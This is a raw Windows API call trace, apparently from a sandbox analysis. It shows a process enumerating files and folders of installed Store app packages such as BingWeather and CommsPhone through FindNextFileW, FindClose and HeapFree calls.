	[0096.681] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0096.681] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0096.681] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.681] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2ceba882, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe", cAlternateFileName="MICROS~4.0_X")) returned 1
	[0096.681] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.681] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0844c4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0d79eb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0d79eb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.683] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.683] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d2c78be, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaa975ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d388f04, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0096.733] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.733] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d388f04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaaac88c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d46dd2e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LiveTile", cAlternateFileName="")) returned 1
	[0096.735] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.735] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d46dd2e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaabbfeb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d50668e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Spacer", cAlternateFileName="")) returned 1
	[0096.736] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.736] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d50668e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d52c8e8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d52c8e8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x46e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0096.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.740] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d59f00b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaac222e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d827806, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="30x30", cAlternateFileName="")) returned 0
	[0096.740] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0096.740] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.740] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d827806, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaac23e3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d9f144d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WeatherImages", cAlternateFileName="WEATHE~2")) returned 1
	[0096.879] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.879] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9f144d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad0c763, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db303c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="423x173", cAlternateFileName="")) returned 1
	[0096.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.882] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d9f144d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad0c763, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2db303c4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="423x173", cAlternateFileName="")) returned 0
	[0096.882] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0096.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.882] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d52c8e8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d52c8e8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d52c8e8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Weather_BadgeLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0096.882] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.882] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2db7c876, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad78aac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attribution", cAlternateFileName="ATTRIB~1")) returned 1
	[0096.885] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.885] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2db7c876, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad78aac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attribution", cAlternateFileName="ATTRIB~1")) returned 0
	[0096.885] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0096.885] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.886] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dbabacb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0096.887] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.887] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7a6fb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dbabacb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Images", cAlternateFileName="")) returned 1
	[0096.887] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.887] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd03022, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ad84, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd2927f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising", cAlternateFileName="MICROS~1.ADV")) returned 1
	[0096.887] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.887] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dbabacb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd03022, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd03022, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ee998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Advertising.dll", cAlternateFileName="")) returned 1
	[0096.888] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.888] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Assets", cAlternateFileName="")) returned 0
	[0096.889] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0096.889] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.889] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EndOfLife", cAlternateFileName="ENDOFL~1")) returned 0
	[0096.889] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0096.889] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.889] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7d91e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Shell", cAlternateFileName="MICROS~1.SHE")) returned 1
	[0096.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.892] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 0
	[0096.892] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0096.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.892] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Glyphs", cAlternateFileName="")) returned 0
	[0096.892] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0096.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0096.892] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0096.892] FindClose (in: hFindFile=0x3121210 | out: hFindFile=0x3121210) returned 1
	[0096.892] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.893] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd9b990, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd86200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Msn.Weather.dll", cAlternateFileName="")) returned 1
	[0096.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.894] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1edde0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e1edde0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e1edde0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftAdvertising.ini", cAlternateFileName="")) returned 1
	[0096.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.894] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa9368ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d1965e1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0096.894] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0096.894] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.894] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68f377c2, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaae3acdd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MIBA67~1.SCA")) returned 1
	[0096.896] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.896] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaae3e4bd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0096.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.897] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68f83c76, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68f83c76, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68f83c76, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0096.897] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.897] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaebc8e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICC3B~1.0_N")) returned 1
	[0096.899] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.899] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a98ed8, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68a98ed8, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68a98ed8, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.899] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.899] FindNextFileW (in: hFindFile=0x31214d0, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0096.899] FindClose (in: hFindFile=0x31214d0 | out: hFindFile=0x31214d0) returned 1
	[0096.899] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0096.899] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf17e9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe", cAlternateFileName="MIBB30~1.0_X")) returned 1
	[0096.902] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.902] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0096.906] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0096.906] FindNextFileW (in: hFindFile=0x3121210, lpFindFileData=0x2e8f584 | out: lpFindFileData=0x2e8f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bca1ad, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68bca1ad, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68c62b19, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x1d1400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CallsApp.exe", cAlternateFileName="")) returned 1
	[0096.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
